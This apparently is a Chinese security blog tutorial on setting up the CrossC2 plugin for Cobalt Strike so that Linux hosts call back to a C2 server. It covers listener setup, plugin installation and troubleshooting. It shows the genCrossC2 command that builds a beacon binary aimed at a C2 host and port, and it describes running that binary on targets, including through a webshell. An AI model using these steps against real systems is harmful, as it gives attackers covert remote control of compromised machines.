Cobalt Strike使用Cross C2上线Linux

  • A+
所属分类:安全文章


0x01 前言


Cross C2是一个支持Linux & MacOS系统的拓展插件,支持用户自定义生成的动态库,以无文件落地的方式从内存中加载执行动态库或可执行文件,可做一些简单的操作,记录一下使用过程中遇到的一些小问题。


Cross c2支持架构说明

Cobalt Strike使用Cross C2上线Linux



0x02 创建监听器


Cross C2目前只支持HTTPS Beacon,所以在Listenrs中选择HTTPS进行监听


Cobalt Strike -> Listeners -> Add


Cobalt Strike使用Cross C2上线Linux


点击Save建立监听


Cobalt Strike使用Cross C2上线Linux



0x02 安装插件


将CrossC2.cna、genCrossC2.Linux两个文件复制到Cobalt Strike服务端(必须处于同一目录)


Cobalt Strike使用Cross C2上线Linux


复制文件之前需要注意,将CrossC2.cna文件第37行/xxxx/xxxxx/genCrossC2改为Cobalt Strike服务端的根目录


$process = exec("/xxxx/xxxxx/genCrossC2"." ".$host." ". $port." null null ".$system." ".$arch." ".$outputFileName);


用nohup命令将CrossC2.cna添加到服务端插件中仅供参考,这一步实际上是没有必要的


nohup ./agscript [host] [port] [username] 
		
输入密码查看加密内容:

 CrossC2.cna &


Cobalt Strike使用Cross C2上线Linux


Windows客户端GUI的使用方法


CrossC2 -> CrossC2 Payload Generator -> genCrossC2


Cobalt Strike使用Cross C2上线Linux


因为GUI琢磨半天也没能生成成功,所以我们以Linux为例,在Linux系统中调用底层程序去生成可执行文件



0x03 安装JDK1.8环境


Centos7命令直接安装并自动配置环境变量


yum install java-1.8.0-openjdk* -y


查看是否安装成功及版本号


Cobalt Strike使用Cross C2上线Linux


Tips如果要在单独的一台Centos机器上运行,需要将整个Cobalt Strike服务端打包复制过去



0x04 生成可执行文件


生成可执行文件的命令


[usage]: ./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName]
         -platform        'MacOS' / 'Linux'         -arch            'x86' / 'x64'
[ex]:    ./genCrossC2.Linux 10.10.10.10 40443 null null Linux x64 C2


错误1:


某云自带的JAVA环境下运行后发现报错,后来了解到是因为frp的系统架构和安装环境的系统架构不匹配导致的,重新安装frp即可


Cobalt Strike使用Cross C2上线Linux


错误2:


某机器运行后发现JAVA报错,后来了解到因为需要将服务端的.cobaltstrike.beacon_keys文件复制到本地Cobalt Strike目录下


Cobalt Strike使用Cross C2上线Linux


最后在Centos上执行生成成功


Cobalt Strike使用Cross C2上线Linux


chmod给权限后运行,保持状态可以安装使用screen,个人感觉这个好用一点


screen ./C2


Cobalt Strike使用Cross C2上线Linux


Cobalt Strike客户端上线Linux主机


Cobalt Strike使用Cross C2上线Linux


可以运用到webshell中,但是碰巧遇到一个报错执行不了,是因为glibc动态库版本的问题


Cobalt Strike使用Cross C2上线Linux


查看当前glibc动态库版本


strings /lib64/libc.so.6 |grep GLIBC


Cobalt Strike使用Cross C2上线Linux


虽然存在libc.so.6,但是调用的动态库版本不一样,目前只支持GLIBC_2.14、GLIBC_2.15、GLIBC_2.17


Cobalt Strike使用Cross C2上线Linux


所以解决方法是去官方:http://ftp.gnu.org/gnu/libc/


下载对应版本库 -> 解压 -> 进入目录 -> 编译 -> 安装


但是覆盖或者升级动态库的后果可能会比较严重,这里就不继续了



参考链接:

https://gitmemory.com/gloxec (Cross C2运行问题大全)https://gloxec.github.io/CrossC2/zh_cn/ (Cross C2中文使用方法)https://github.com/gloxec/CrossC2/issues/23https://github.com/gloxec/CrossC2/issues/16https://www.bugfor.com/vuls/4000.htmlhttps://blog.csdn.net/LEON1741/article/details/78205198





扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

Cobalt Strike使用Cross C2上线Linux Cobalt Strike使用Cross C2上线Linux

Cobalt Strike使用Cross C2上线Linux Cobalt Strike使用Cross C2上线Linux

目前25000+人已关注加入我们

Cobalt Strike使用Cross C2上线Linux

Cobalt Strike使用Cross C2上线Linux
你点的每个在看,我都认真当成了喜欢

本文始发于微信公众号(Ms08067安全实验室):Cobalt Strike使用Cross C2上线Linux

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: